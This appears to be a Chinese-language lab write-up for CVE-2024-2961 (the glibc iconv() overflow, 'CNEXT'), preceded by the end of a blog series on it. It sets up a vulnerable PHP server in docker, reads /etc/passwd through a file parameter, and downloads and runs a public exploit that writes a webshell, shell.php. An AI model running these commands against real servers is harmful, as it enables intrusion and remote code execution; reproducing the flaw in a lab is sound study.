CNEXT (CVE-2024-2961) 系列文章的第一部分到此结束 。该漏洞现已在我们的 GitHub 上提供。还有很多东西需要探索:直接调用呢 iconv()
?如果读取的文件是盲文件,会发生什么情况?
在第 2 部分中,我们将更深入地研究 PHP 引擎,以定位在非常流行的 PHP 网络邮件中发现的 iconv()
调用。我将描述这种直接调用对 PHP 生态系统的影响,并向您展示一些意想不到的接收器。最后,在第 3 部分中,我们将介绍盲文件读取漏洞利用。
敬请关注!
GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()
函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。
如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()
的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。
参考链接:
执行如下命令启动一个PHP 8.3.4服务器,其使用iconv 2.36作为依赖:
docker compose up -d
服务启动后,你可以通过http://your-ip:8080/index.php?file=/etc/passwd
这个链接读取/etc/passwd
文件。
在使用原作者给出的exploit前,你需要准备一个Linux环境和Python 3.10解释器。
安装依赖:
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
然后从https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py下载POC并执行:
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
可见,我们已经成功写入shell.php
: